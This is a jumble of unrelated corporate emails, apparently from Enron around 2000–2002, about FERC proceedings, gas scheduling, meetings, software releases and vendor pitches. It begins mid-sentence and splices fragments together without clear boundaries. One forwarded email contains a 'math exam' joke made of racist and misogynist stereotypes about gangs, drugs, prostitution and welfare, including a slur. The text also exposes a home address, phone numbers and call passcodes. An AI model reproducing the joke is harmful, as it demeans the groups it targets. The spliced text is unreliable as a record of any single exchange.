mails.  I believe this may suffice.

Folks, could you give me a heads up on proposed bonus #'s for your Canadian 
reports when you have a moment?

Thanks
Rob

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 11/08/2000 

"The Alliance of Energy Suppliers" <alliance@eei.org>@ls.eei.org on 
11/08/2000 10:28:43 AM
Please respond to "The Alliance of Energy Suppliers" <alliance@eei.org>
Sent by: bounce-app-ippexecs-33275@ls.eei.org
To: "Generation and Power Marketing Executives" <app-ippexecs@ls.eei.org>
cc:  
Subject: Alliance FERC Alert-Regional Market Reports

Attached for your information are:

1.  The FERC orders regarding the meeting to be held Thursday, November 9.
2.  Annoucement of a hearing in San Diego on November 14.
3.  FERC report on bulk power markets in the Southeast Region
4.  FERC report on bulk power markets in the Midwest Region
5.  FERC report on bulk power markets in Northeast Region

These files will also be made available on the Alliance of Energy Suppliers 
web site - http://www.eei.org/alliance
Should you have any questions concerning these reports, contact Jack Cashin 
at 202-508-5499, or jcashin@eei.org

Nancy Tarr
Manager, Business Development
ntarr@eei.org

 - FERC 11-14 hearing.pdf
 - nov 9 panels.pdf
 - FERC.Southeast.PDF
 - FERCMidwest.PDF
 - FERCNortheast.PDF

Thanks to all of you who participated in the Associate & Analyst Programs 
survey and PRC focus groups.  We appreciate your input and the feedback is 
essential for the program's success.  

We have received the analysis from Watson Wyatt regarding the survey.  At 
this time the Office of the Chairman is reviewing the results and working 
with program management to formulate an action plan.  Once this review is 
complete the results of both the survey and the PRC focus groups will be 
communicated to you.  In addition, any action items will be addressed at that 
time.

Thank you again for your participation and continued support of the Associate 
& Analyst Programs.

Rogers --

FERC has already filed a policy statement providing for cost recovery of "security" upgrades assuming they are reasonable.  I know that the Bush Admin will now have the response as its top priority.  I think that it will take a couple of weeks before we really understand the implications for further energy reform.  FERC postponed announcing its Work Plan this week but my guess is that Chairman Wood will continue down his course.  

Retail competition in different states was already under fire from the California situation.  Not sure if this week's events will have any major changes.

Thanks.

From: 	Herndon, Rogers  
Sent:	Thursday, September 13, 2001 10:43 AM
To:	Walsh, Kristin; Steffes, James D.
Cc:	Presto, Kevin M.
Subject:	State and Federal Energy Efforts - Implications

Several articles in todays publications discuss possible implications to federal and state initiatives.  Bill Wicker, spokesman for Senate Energy Committee mentioned that it was too early to determine how energy policy might be affected.  INGAA's Halvorsen  hinted at a probable  policy shift - more focus on energy security for the time being.  Any information or insights would be helpful.  I was already feeling as though ERCOT implementation would be delayed given the disastrous pilot performance and am now even more convinced.  Arkansas just recommended a complete shelving of their deregulation initiatives.  These types of issues will have a significant impact on our current book of business as well as future decisions.

Thanks,
Rogers 

Can you guys coordinate to make sure someone listens to this conference call 
each week.  Tara from the fundamental group was recording these calls when 
they happened every day.

Phillip
---------------------- Forwarded by Phillip K Allen/HOU/ECT on 05/07/2001 
07:26 AM ---------------------------

James D Steffes@ENRON
05/03/2001 05:44 AM
cc:  

Please forward to anyone on your team that wants updates on Western wholesale 
matters (should also give you an opportunity to raise state matters if you 
want to discuss).

Jim
---------------------- Forwarded by James D Steffes/NA/Enron on 05/03/2001 
07:42 AM ---------------------------

05/02/2001 05:40 PM
Allen/HOU/ECT@ECT
cc: Linda J Noske/HOU/ECT@ECT 

 Number:   1-888-271-0949, 
 Host Code:  661877, (for Jim only),
 Participant Code: 936022, (for everyone else),

Attached is the table of the on-going FERC issues and proceedings updated for 
use on tomorrow's conference call.  It is available to all team members on 
the O drive. Please feel free to revise/add to/ update this table as 
appropriate.

Power-  Discussion of FERC market monitoring and mitigation order in 
EL00-95-12 and review of upcoming filings
Gas- Response to subpoenas of SoCal Edison in RP00-241 and upcoming items
Misc.

I will be unable to participate in the call tomorrow as I will be attending 
the Senate Energy and Resource Committee Hearing on the elements of the FERC 
market monitoring and mitigation order.

Set up per Piper's request 3/13/00 - Ana Alcantara 35737 (added Garner after 
confirmation)

Robert, please check on this with the TCO schedulers and let me know what you 
find out.

Thanks
---------------------- Forwarded by Chris Germany/HOU/ECT on 12/28/99 09:38 

pdrexel@columbiaenergygroup.com on 12/28/99 07:52:26 AM
cc:  
Subject: Re: January 2000 Volume

This is to offset TCO volumes only.

Chris_Germany@enron.com on 12/27/99 09:26:37 PM
Please respond to Chris_Germany@enron.com

To: Paul Drexelius/CES/ColumbiaGas@COLUMBIAGAS
cc: Dan_Junek@enron.com

What pipe is this off of or is it split up between several??

pdrexel@columbiaenergygroup.com on 12/27/99 02:03:03 PM

To:   Dan Junek/HOU/ECT@ECT, Chris Germany/HOU/ECT@ECT
cc:
Subject:  January 2000 Volume

---------------------- Forwarded by Paul Drexelius/CES/ColumbiaGas on
12/27/2000 02:09 PM ---------------------------

Heidi Boyd
12/27/99 02:04 PM

To: 8145895507&Lori Bunce&BeldonBlake@mailfax
cc: Noel Bartlo/CES/ColumbiaGas@ColumbiaGas, Paul
Drexelius/CES/ColumbiaGas@ColumbiaGas, John Singer/CES/ColumbiaGas@ColumbiaGas
Subject: January 2000 Volume

Hi Lori,

I believe we are still pulling our Local Production from you behind NYSEG,
please let me know ASAP if you disagree.

I am going to pull    1620 dth's/day  , again, let me know if this creates a
problem for you.

Thanks!

----- Forwarded by Tana Jones/HOU/ECT on 05/16/2001 03:52 PM -----

	05/16/2001 03:41 PM
		 
		 cc: 
		 Subject: Request Closed: Access Request for adam.duguid@enron.com

http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000034925&Page=
MyReq.

Martha, I don't have any bullets but could you please send me last week's -- 
I think there are some old ones that need to be deleted.  Thanks.

MARTHA 
BENNER        
12/07/2000 01:00 PM

To: Lee Huber/ET&S/Enron@ENRON, Tony Pryor/ET&S/Enron@ENRON, Susan 
Scott/ET&S/Enron@ENRON
cc: Janet Cones/FGT/Enron@ENRON, Denise LaGesse/ET&S/Enron@ENRON, Ann 
Smith/ET&S/Enron@ENRON 

Subject: Bullets

Please get your bullets in tomorrow in the morning.  Tomorrow night is our 
Christmas party and we want to leave the office early so we can get home and 
get pretty before the event.

Thanks......Martha

Folks - re: this Thursday's Staff meeting - 8:30 okay for everyone?
Please RSVP,
Thanks,
Joseph

---------------------- Forwarded by Joseph Alamo/NA/Enron on 07/24/2001 10:56 AM ---------------------------
From:	Paul Kaufman/ENRON@enronXgate on 07/24/2001 10:10 AM CDT
To:	Joseph Alamo/NA/Enron@Enron
cc:	 

Subject:	RE: Welcome back....!

Yes.  The subject is:  budget and headcounts for 2002.  

Sent:	Monday, July 23, 2001 4:33 PM
Cc:	Tracy, Lysa
Subject:	Welcome back....!

......and shall we have a Staff meeting this Thurs?

hope it was fun!

Thanks,
Joseph

Stevens-

We've moved up the food chain at Destin, but have not received a response 
yet.  I'll be out next week.  Check with Joe Casas to see if he hears anything

Susan

Stevens_Hollister@eott.com on 03/14/2001 10:39:16 AM
cc: Dan_Cole@eott.com 
Subject: BTU protest

Susan,

I know you are quite busy with other items, but have you had time to
discuss the BTU protest with the Enron attorneys?  As I told you before,
Rebel would be more than happy to write "the letter", but I believe it will
have to be submitted by Enron as the shipper.

Thanks,

Stevens

FYI
---------------------- Forwarded by Mike McConnell/HOU/ECT on 02/12/2001 
10:06 AM ---------------------------

Randal Maffett
02/12/2001 09:12 AM
cc:  
Subject: Re: Update  

I've discussed in detail the strategic outline/process with both John and 
Larry and they're both in agreement.  We're (EGM Orig. Team) meeting w/ 
McKinsey this Friday to "kick it off!"  We'll start implementing the Regional 
Analysis the following week.  The wheels are in motion!

	From:  Mike McConnell                           02/12/2001 07:24 AM
	
To: Randal Maffett/HOU/ECT@ECT
cc: Jeffrey A Shankman/HOU/ECT@ECT, John L Nowlan/HOU/ECT@ECT 

Randy,
Thanks for the update.  I like your plan.  I like the McKinsey part as 
well.   Please make sure that Suzanne understands the plan and that you John 
and Larry agree on the way forward.  If there are any issues, please let Jeff 
or me know..
m

From: 	val.generes@accenture.com@ENRON [mailto:IMCEANOTES-val+2Egeneres+40accenture+2Ecom+40ENRON@ENRON.com] 
Sent:	Thursday, May 24, 2001 1:05 PM
To:	brian.r.vassigh@accenture.com; pjmccabe24@hotmail.com; Lenhart, Matthew; leemac007@yahoo.com; mmmarcantel@equiva.com; SoCalCinephile@socal.rr.com
Subject:	FW: Math Exam

Alex - Your kids will take this if you don't leave SoCal....

 CITY OF LOS ANGELES HIGH SCHOOL MATH PROFICIENCY
 EXAM

 Name:_______________________________
 Gang:___________________________

1. Johnny has an AK-47 with an 80-round clip. If he
 misses 6 out of 10 shots
 and shoots 13 times at each drive-by shooting, how
 many drive-by shootings
 can he attempt before he has to reload?

2. Jose has 2 ounces of cocaine and he sells an
 8-ball to Jackson for $320
 and 2 grams to Billy for $85 per gram. What is the
 street value of the
 balance of the cocaine if he doesn't cut it?

3. Rufus is pimping for three girls. If the price is
 $65 for each trick, how
 many tricks will each girl have to turn so Rufus can
 pay for his
 $800-per-day crack habit?

4. Jarone want to cut his 1/2 pound of heroin to
 make 20% more profit. How
 many ounces of cut will he need?

5. Willie gets $200 for stealing a BMW, $50 for a
 Chevy, and $100 for a 4X4.
 If he has stolen 2 BMWs, 3 4X4s, how many Chevies
 will he have to steal to
 make $800?

6. Raoul is in prison for 6 years for murder. He got
 $10,000 for the hit. If
 his common law wife is spending $100 per month, how
 much money will be left
 when he gets out of prison and how many years will
 he get for killing the
 bitch that spent his money?

7. If the average spray can covers 22 square feet
 and the average letter is
 3 square feet, how many letters can a tagger spray
 with 3 cans of paint?

8. Hector knocked up 6 girls in his gang. There are
 27 girls in the gang.
 What percentage of the girls in the gang has Hector
 knocked up?

9. Thelma can cook dinner for her 16 children for
 $7.50 per night. She gets
 $234 a month welfare for each child. If her $325 per
 month rent goes up 15%,
 how many more children should she have to keep up
 with her expenses?

10. Salvador was arrested for dealing crack and his
 bail was set at $25,000.
 If he pays a bail bondsman 12% and returns to
 Mexico, how much money will he
 lose by jumping bail?

Dear All,

	This Stage release is aiming to consolated the three different PortCalc executables that we currently use, and keep it simple for Estate support in the future.

Please test the Stage Release of PortCalc version 4.2.3s2 and let us know of the results.  

The executable is      /stage/egs-home/ermt/bin/pwrcalc_slr        

	New Features:

Version 4.2.3s2

Changes Affecting All:

	Index Forward :

PortCalc can now calculate Index Forward deals with Basis.

Performance improvement for 2D Option Sensitivities.

Implemented EAST and WEST Bankruptcy evaluation. ( Backport from ProdFix v4.2.2.1 12/10/2001 )

Version 4.2.3s1

Implemented 2D Option Sensitivities calculation. This allows scenario calculations with changes in two of the following simultaneously : Price, Volatility, Time and Interest Rate.

Please do not hesitate to ask if there is any questions.

	Thanks,

Norman.
x36976.

Dear Tana,

Pursuant to our telephone discussions, attached please find our proposed
Amendment referenced above.

(See attached file: NAME CHANGE AMENDMENT JUL 20 00.doc)

With regard to your comments on our request for a replacement Guarantee, for
purposes of proper record keeping, consistency and as a matter of market
practice, we would appreciate a replacement Guarantee substantially the same 
as
the existing Guarantee except for the name change.  Upon receipt of the new
Guarantee, we will arrange to return the existing Guarantee to you.

Please do not hesitate to contact me with any comments or questions.

I look forward to working with you to finalize the Amendment.

Joyce Lim
@ WestLB
1211 Avenue of the Americas
New York, N.Y. 10036
Phone: (212) 852-6302
Fax:      (212) 572-9487

Confidentiality Message

T

 - NAME CHANGE AMENDMENT JUL 20 00.doc

Joe
Just a little note....
Since the Research Group will be gone on Jan. 31, 2002, I want to make sure that you know that the Research Group Laptop (asset tag # 990860) that was returned to me will managed by Kevin Moore as of today 1/24/02.  Kevin will be the only remaining employee from this group.  If there is anymore information needed pertaining to this please feel free to contact me at x35245.

From: 	Candella, Therese  
Sent:	Wednesday, January 23, 2002 2:21 PM
To:	Langston, Joe
Subject:	RE: Laptop

Thanks, Joe.

Therese

From: 	Langston, Joe  
Sent:	Tuesday, January 22, 2002 9:07 AM
To:	Candella, Therese
Subject:	Laptop

Theresa,

I returned the laptop labelled 'Research' to the cubicle right outside of 1968.  I was told that the person who sits there is not in today, so I wanted to let you know what has been done with it.

Joe Langston
x58883

---------------------- Forwarded by Phillip K Allen/HOU/ECT on 02/11/2000 

"George Rahal" <george.rahal@acnpower.com> on 02/07/2000 03:13:58 PM
To: <Phillip_K_Allen@enron.com>
cc:  
Subject: RE: W basis quotes

I'll get back to them on this.  I know we have sent financials to Clinton
Energy...I'll check to see if this is enough.  In the meantime, is it
possible to show me indications on the quotes I asked for?  Please advise.
George

George Rahal
ACN Power, Inc.
7926 Jones Branch Drive, Suite 630
McLean, VA 22102-3303
Phone  (703)893-4330 ext. 1023
Fax  (703)893-4390
Cell (443)255-7699

> From: Phillip_K_Allen@enron.com [mailto:Phillip_K_Allen@enron.com]
> Sent: Monday, February 07, 2000 5:54 PM
> To: george.rahal@acnpower.com
> Subject: Re: W basis quotes
>
>
>
> George,
>
>      Can you please call my credit desk at 713-853-1803.  They have not
> received any financials for ACN Power.
>
> Thanks,
>
> Phillip Allen
>
>

Presentations That Work
June 11 & 12  8:00 am - 5:00 pm
in EB560    Cost:  $900
Limited seats available

This intensive 16-hours workshop includes nine presentations and provides 
practice and feedback from peers, instructors, and videotape.  The training 
focuses on instruction and practice in organization, delivery skills, visual 
design and use, and question-and-answer models.  Participants will receive 
personalized, confidential feedback from the instructor and will develop a 
self-improvement action plan.  Customized exercises give participants 
first-hand experience in one-on-one, small group, impromptu, and sit-down 
settings.

As a result of this course, you will be able to:

? Reduce preparation time
? Increase rapport and persuasions
? Organize your ideas for impact
? Select appropriate details
? Plan the presentation
? Design and use visuals effectively
? Use a dynamic delivery style
? Handle questions and answers appropriately

Please login and enroll through the InvestInMe website, 

Let's meet at Christi's desk on ebS5 and find a conference room.

Jim

From: 	Sacks, Edward  
Sent:	Wednesday, December 12, 2001 1:48 PM
To:	Steffes, James D.; Nettelton, Marcus; Nicolay, Christi L.
Subject:	RE: ISO Calculation

Please let me know where we are meeting if everyone plans on attending.

Ed

Sent:	Wednesday, December 12, 2001 1:30 PM
To:	Sacks, Edward; Nettelton, Marcus; Nicolay, Christi L.

Can we get together this afternoon to discuss calling NEPOOL?  How about 3pm?

Jim

Sent:	Wednesday, December 12, 2001 1:19 PM
To:	Nettelton, Marcus; Steffes, James D.
Subject:	ISO Calculation

It appears that the calculation and collateral call is pretty accurate.  Basically, EPMI had made significant purchases from the New England pool to fill the UI, NSTAR and CMP load (approx 1,000 mw/h).  Based on a 42 hour post petition calculation, ISO projects 30 day exposure at $39MM.  Since collateral is calculated at 3.5x, we would owe $137MM in collateral.  Unless we feel that our load/supply shape will change, as per the letter, we can request the ISO to reconsider the collateral amount.  Let me know your thoughts.

Ed Sacks

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 04/16/2001 

<jhh1@email.msn.com> on 04/12/2001 10:47:27 AM
To: "Vince J Kaminski" <Vince_J_Kaminski@enron.com>
cc:  
Subject: Southwestern Natural Gas Price and Price Volatility

Almost everything you need to know in less than 1000 words and 2 figures.

Best regards and have a Happy Easter.

JHHerbert

 - gd010412rev.pdf

Start Date: 4/21/01; HourAhead hour: 22;  No ancillary schedules awarded.  

Schedules\2001042122.txt

     Details:

     Details: (Hour: 22 / Preferred:   5.22 / Final:   4.89)

I'd leave a voicemail with Sandi (she's taking voicemail on her trip) and ask 
her if she'd like for you to contact them.

---------------------- Forwarded by Jeffrey A Shankman/HOU/ECT on 10/16/2000 

Rick Bergsieker@ENRON_DEVELOPMENT
10/15/2000 09:30 AM
To: Clay Harris/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Wayne 
Perry/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Doug 
Arnell/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Emilio 
Vicens/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Merritt Thomas@ECT, Brad 
Hitch/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Henry 
Means/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, A G 
Gelotti/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: Eric Gonzales@ECT, Jeffrey A Shankman@ECT, dennis.vegas@enron.com 
Subject: LNG brochure revised draft

As you know, we are preparing a new LNG brochure that will be rolled out at 
the Gastech Conference in Houston mid November.  Many of you have submitted 
comments that are hopefullyincluded herein.  Attached is the latest draft of 
the brochure text.  Please review this very carefully and submit your 
comments to Henry Means/Zdenek Gerych by Tuesday noon.  

I have scanned this and have noted at least several typos and some 
numerical/statistical errors.  AG, please check in particular the DPC/Metgas 
stuff.

Henry/Z, the purpose of this brochure is to communicate that the market is 
changing and that Enron is leading the transformation of this industry.  
However, there is a negative tone in parts of this that is a slap in the face 
to the major oil companies and the government companies particularly in the 
Mid east and Far East.  I want to get all negatives out---anything that a 
supplier could read as an insult will come back to bite us.  The message 
should be bold but positive, with no implied insults.

I look forward to reading the next draft Tuesday evening

Rick
---------------------- Forwarded by Rick Bergsieker/ENRON_DEVELOPMENT on 
10/15/2000 09:17 AM ---------------------------

Dennis Vegas
10/14/2000 09:23 AM
To: Rick Bergsieker/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: Henry Means/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Zdenek 
Gerych/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Attached is the draft as promised. This reflects input from several members 
of the team. It is easy to read and flows well. Please review and share you 
feedback by Wed before noon ( no later, sorry). Once complete, we will 
circulate the final with your comments. I do need the name of the lawyer that 
would approve the final draft for the LNG team. 

Hope you had a good trip back.

---------------------- Forwarded by Tana Jones/HOU/ECT on 02/09/2000 05:07 PM 

02/09/2000 04:57 PM
Weekes/LON/ECT@ECT, Sylvia A Campos/HOU/ECT@ECT, Carrie Southard/HOU/ECT@ECT, 
Lisa Gillette/HOU/ECT@ECT 
Subject: EOL Credit Responses 2/9

Please find attached Credit's EOL responses for 2/9/00.

Regards
Molly

The approval process initiated in 1998 for all meeting and event expenditures in excess of $5,000 has enabled Enron Americas to better assess the business value of events, accurately track our activities and save money.  These events include customer and employee meetings, and trade shows.  

EA has made some modifications to the process, which are described in this memo.

The $5,000 threshold remains in effect for all customer events.  However, the threshold for approval for employee meetings and events has been lowered to $500, and some additional requirements must be met prior to approval.

Please be sure to follow the procedures described below for all meetings and events, so we can continue to successfully manage these events.

1) Prior to making any commitments to customers or vendors, all customer events with anticipated costs in excess of $5,000, and all employee events with anticipated costs in excess of $500 must be reviewed by the Enron Americas Public Relations department and approved by the Enron Americas Office of the Chairman
2) The PR department will handle the site search and hotel contract negotiations for all such events.  Once this is completed, the PR department will work with you to plan and produce your event in its entirety; or they can provide as much or as little assistance as you require. The PR department will be responsible for helping you achieve the best value for your program and EA.
3) A completed expenditure request form (see attached) and supporting documentation is required for each event.  Employee meetings require a detailed agenda as part of the event documentation prior to approval.  Please submit the completed expenditure request form and documentation to the PR department at EB 3642, or work with PR department employees to complete the form.
4) After PR review, the expenditure will be submitted to the EA Office of the Chairman for final approval.

Additionally, the PR department can assist in the procurement of tickets for various local sporting events and concerts.

If you have any questions regarding this process, would like assistance planning an event, or need tickets for a Houston event, please contact Dorie Hitchcock in the PR department at (713) 853-6978.

It sure sounds like you have your hands full with the restructuring!  I have 
been trying to get a better grasp of the deal flow in Brazil through some 
type of "Deal Report".  In Houston and Argentina, the business groups 
circulate a transaction listing.  Also, legal in both Houston and Argentina 
circulate a listing from Legal's perspective. Is a commercial team deal 
report circulated weekly in Brazil, and if so, can I be added to the 
circulation?  I will ask Randy if he can circulate his list.  It would be 
helpful for me when we have our weekly conference call.  In that regard, what 
is "Alcan", the PPA which may eventually serve as a template?  I am glad to 
prepare some type of module as Randy suggested which sets forth basic Enron 
Corp. and/or trading policy as to certain issues (force majeure, governing 
law, dispute resolution, damages, etc.),  Let's coordinate for the seminar 
which you are organizing for March.  Thanks.  Sara 

    OR  
Well, which one is it?  You want to share some information with the rest of 
Enron, but you don't know whether it belongs in the ThinkBank or in eMeet.  
Here is a handy quiz to help you make the decision.  Answers appear just 
below the quiz.  
What kind of information do you want to share?
A.  A well-developed idea or suggestion for something that will affect 
Enron's bottom line, either through revenue or savings.
B.  A question or a statement that you want someone else at Enron to answer 
or discuss.
C.  None of the above.
D.  Both A and B.
If you chose "A," deposit an idea in the ThinkBank's Idea Vault.  If you 
chose "B," eMeet is the place for you.  If you chose "C" or "D," send an 
e-mail to ethink@enron.com and let us know what you're trying to share.  
We'll help you find the right place for it in eThink.

Wednesday, Mar. 29 at 10 a.m. Houston time, join Mark Koenig, executive vice 
president of Enron Investor Relations.  Mark will answer questions about the 
role of Investor Relations and also provide a stock update.  Remember, if you 
can't make the live event, pre-submit your questions now on the eSpeak site.  
Mark will be able to address them during his eSpeak, and you can see his 
answers in the transcript after the event.

Dear Customer:

Here is your RateWatch subscription from iOwn.com.

Need a real estate agent? Compare selling proposals from
local realtors. See agents' performance history,
qualifications and fees.  All at HomeGain.
http://track.wommera.com/servlet/re?id=10109091001&sid=55221

These current mortgage rates are based on the loan and
property information you provided us.

Loan Type:    30 Year Fixed
State:        TX

 Interest  Points/   Closing            Monthly
 Rate      (Rebate)   Costs     APR     Payment    Lender
  6.750%  2.250    $4,478    7.109%   $649      MortgageSelect
  7.000%  2.625    $4,236    7.342%   $665      Quicken Loans

To apply for a loan through iOwn, please go to
http://track.wommera.com/servlet/re?id=9428848011&sid=55221

Rates are current as of 12-Dec-00, but aren't guaranteed
until you submit an application and the rate is officially
locked.

Closing costs are estimated non-recurring costs, including
any rebate.  They do not include prepaid recurring fees.

pkeavey@ect.enron.com:
To change your settings or to unsubscribe, please go to
http://track.wommera.com/servlet/re?id=15016162101&sid=55221

If you have any questions or comments, please email our
customer service department at loans@iown.com

As your needs change, you can edit your Personal Profile to
get the most out of your tips. Just go to:
http://track.wommera.com/servlet/re?id=13166457691&sid=55221

Any value in this?

From: 	Grace Jr., James  
Sent:	Tuesday, November 20, 2001 10:00 PM
Subject:	FW: Real-time weather data

K evin:

A friend of a friend is selling the product described below.  It looks like something in which your guys would be interested, but I wasn't sure to whom I should send it.  Michelle Parks suggested that I send it directly to you.  Please let me know if you want more information about the product or Saaty.

Jim Grace

From: 	"John Saaty" <jsaaty@aws.com>@ENRON  
Sent:	Monday, November 12, 2001 2:39 PM
To:	Grace Jr., James
Subject:	Real-time weather data

Jim,
 
As I mentioned, AWS (originally Automated Weather Source) has more than 5500 weather stations deployed around the US.  This is the most dense real-time weather network in the country.  We gather data from all of these stations through the Internet, and can feed it out as live data streams.  We also have an 8-year historical repository of the data that was gathered as the network was built out.  As an example, in the Houstonarea we have 82 weather stations.  The National Weather Service has 6.  Each of our stations measures windspeed and direction, temperature, relative humidity, rainfall, light, and barometric pressure and 400 of our stations have digital cameras.  We can analyze 27 different weather parameters in real-time.  Check out www.aws.com
 
Our current products are consumer-oriented.  We sell our services to TV broadcast stations, i.e. KPRC in Houston.  We also wrap the data in advertising and offer it as the WeatherBug.  AWS' WeatherBugproduct is now the largest weather destination in the USas measured by Media Metrics.
 
We are now exploring how our data might be applied to the Energy industry.  Examples include offering real-time weather data to energy trading operations which shows in  real-time the deviation from forecast.  This can be at the national, regional, metropolitan or local levels.  You could watch a weather front move into a metropolitan area and see how it is shaping up as compared to the forecast to aid in energy purchases, bids, etc.  The data could be used with basis risk in derivative contracts.  It could also be used to forecast what a specific NWS station was going to forecast in the near future.  You may have more uses.  Most of our sites are located in and around metropolitan areas which is a positive for energy demand.  
 
We would like to talk with the folks running Enron's trading area to discuss if this data could be used and what products might be built for the industry.
 
John Saaty
AWS
301-258-8390 x1622
jsaaty@aws.com
 
Kay:

Here are our comments for meeting.  Sorry I couldn't get them to you earlier
but Lee and I couldn't talk before now.  We meant to just talk them all
through anyway as you can see.  Maybe you've got more.

Our biggest concern is that the law firm seems to keep wanting to make the
document better, when they should just leave it the way it is.  We certainly
can see who pays them.

Kent

 <<Facility AGreement (blackline with KAS comment 110300).ZIP>>
g          GE Power Systems

___________________________
 Kent A. Shoemaker
 Counsel
 GE Industrial Aeroderivative Gas Turbines
 GE Aeroderivative and Package Services
 1 Neumann Way
 MD S150
 Cincinnati, Ohio 45215
 Phone:  (513) 552-5838  Dial*Comm:  8*892-5838
 Mobile:  (513) 604-4687
 Fax:      (513) 552-5839  Dial*Comm:  8*892-5839
 Internet:  Kent.Shoemaker@ae.ge.com

PROPRIETARY INFORMATION NOTICE:  The information contained in this document
and any documents attached hereto is privileged and disclosed in confidence.
It is the property of General Electric Company and shall not be used,
disclosed to others, or reproduced without the express written consent of
General Electric Company.  If consent is given for reproduction in whole or
in part, this notice shall appear on any such reproduction, in whole or in
part.  The information contained in this document may also be controlled by
the U.S. export control laws.  Unauthorized export or re-export is

 - Facility AGreement (blackline with KAS comment 110300).ZIP

do you mean you changed it to PPT - it looks like that's what's in there 
already...

03/01/2001 09:04 AM
cc:  

Subject: 

ch deal 534053 to ppt

wussup wichu, brutha? just wanted to let you know i'm done with your book. it 
was a superior work of literature, by the way. i highly recommend it. if you 
want it back, send a self-addressed stamped box to 2505 NE 32nd Pl., 
Portland, OR 97212. just kidding....gosh! that's the address of my 
super-sweet house, by the way. next time you're in town you have to come over 
and have a civilized dinner in our DINING ROOM. that's right - we have one. 
and many other rooms too. it's an all-around great place to be, let me tell 
you. gotta go control your energy now. write back.

love, 
kate

We agree

"Eileen Ponton" <kponton@duke-energy.com> on 03/28/2001 10:37:33 AM

cc:
Subject:  NOMS/ACTUAL VOLS FOR 3/27/01

 NOM      MCF       MMBTU
18,333         18,151         18,641

BTU = 1.027

Steve Thome can be contacted in Houston at (713) 853-5786. His office is 
located in EB 3115.

Re the due diligence request: Historical management financials w comparisons to budget..." =  Not Available

We have financial comparisions (income) to the most recent current estimate at that time, but not the original budget.
Also, NNG management reports are NOT legal entity, but are "NNG Group", which is inclusive of ENE's investment in Trailblazer and Overthrust.
Our only true legal entity financials are historical comparatives and only prepared quarterly and annually for noteholders, and annually for the FERC (Form2).

Comments???

BW2037  OCT 24,2001       4:25 PACIFIC      07:25 EASTERN

( BW)(TX-INDUSTRIAL-INFO-RES) Dredging Angolan Diamonds Beats Rain
Season Hazard, in an Advisory by Industrialinfo.com

	   HOUSTON--October 24, 2001--The following is an advisory by
Industrialinfo.com (Industrial Information Resources, Inc., Houston,
Texas). When licensing and share details of the Canadian company
SouthernEra have been finalized between the Angolan government and the
mining partners by March 2002, work will be able to proceed on the
Camafuca diamond project which has a diamond bearing kimberlite pipe
with a surface area of 167 hectares. Time and the rainy season are
crucial factors in the venture as the exposed part of the pipe can
initially be exploited by bulk-sampling whereas when the rainy season
hits the 80m wide Chicapa river floods over the area.
	   SouthernEra will use barge mounted dredges fitted with cutting
heads to recover the 23.2m carats worth $2.3 billion. This innovative
technique surmounts the natural obstacles, which have hitherto
prevented the exploitation of the pipe. The Israeli company Welox is
providing funding up to $20 million and will hold 33% of the joint
venture. Endiama, the Angolan government diamond corporation, will
hold 20%. SML, which is a combination of the Portuguese SPE and
Endiama, will take 15% and SouthernEra 32%.
construction activities for the Metals & Minerals industry as well as
metalsandmineralsgroup@industrialinfo.com or visit us at

    --30--JB/na*

    CONTACT: Industrial Information Resources, Inc., Houston
             Joseph Govreau, 713/783-5147

    KEYWORD: TEXAS INTERNATIONAL CANADA AFRICA/MIDDLE EAST
    INDUSTRY KEYWORD: MINING/METALS
    SOURCE: Industrial Information Resources, Inc.

As I stated in a call a short while ago--you are now San Diego.    Let me 
know how these meetings are going.  I'm assuming that you will participate in 
the various conference calls referenced below as necessary.  

Thanks.
---------------------- Forwarded by Paul Kaufman/PDX/ECT on 11/21/2000 04:29 

Mona L Petrochko@ENRON
11/15/2000 05:46 PM
To: Marcie Milner/Corp/Enron@ENRON
cc: Paul Kaufman 
Subject: San Diego Meeting

FYI.
---------------------- Forwarded by Mona L Petrochko/NA/Enron on 11/15/2000 
07:44 PM ---------------------------
   
	From:  Jennifer Rudolph @ EES                           11/15/2000 06:30 PM
	
To: Gary Mirich/HOU/EES@EES, George Waidelich/SFO/EES@EES, John 
Woodman/SFO/EES@EES, Brian Dafferner/HOU/EES@EES, Ken Detina/HOU/EES@EES, 
Douglas Condon/SFO/EES@EES, Greg Cordell/HOU/EES@EES, Edward 
Hamb/HOU/EES@EES, Chris Hendrix/HOU/EES@EES, Roger Persson/HOU/EES@EES, 
Jennifer Rudolph/HOU/EES@EES, Martin Wenzel/SFO/HOU/EES@EES, James M 
Wood/HOU/EES@EES, Jeanette Reese/HOU/EES@EES, Greg Nikkel/HOU/EES@EES, Peter 
Vint/HOU/EES@EES, Michelle Juden/HOU/EES@EES, Melinda Winn/HOU/EES@EES, 
Marianne Castano/HOU/EES@EES, Lyle White/HOU/EES@EES, Marcus 
Dotson/HOU/EES@EES, Suzanne Farrow/HOU/EES@EES, Rami Vij/Western Region/The 
Bentley Company@Exchange, Harry Kingerski/NA/Enron@Enron, Jeff 
Dasovich/NA/Enron@Enron, Natalie Bondareva/HOU/EES@EES, Stephanie 
Kimble/HOU/EES@EES, Elizabeth Peters/HOU/EES@EES, Mona L 
Petrochko/NA/Enron@Enron, Tasha Huang/HOU/EES@EES, Eric Letke/DUB/EES@EES, 
Tim Carter/HOU/EES@EES
cc: Nicole Lauzier/HOU/EES@EES, Lily Guerra/HOU/EES@EES, Penny R 
Marksberry/HOU/EES@EES, Carole Nachtigall/Western Region/The Bentley 
Company@Exchange, Kathy Gibbins/HOU/EES@EES, Kelly Lacalli/HOU/EES@EES, 
Teresa Seilheimer/HOU/EES@EES, Aida S O'Neal/SFO/EES@EES, Joseph 
Alamo/NA/Enron@Enron, Brenda Boutte/HOU/EES@EES, Cathy 
Deleonardis/HOU/EES@EES 

Agenda

Deal Priority Report
(this data comes from CMS Deals)

Conference Call Instructions
Dates	Every Thursday starting on November 16, 2000
NEW Time	11:30 am (CST)
Phone	(800) 991-9019
Passcode	6207248
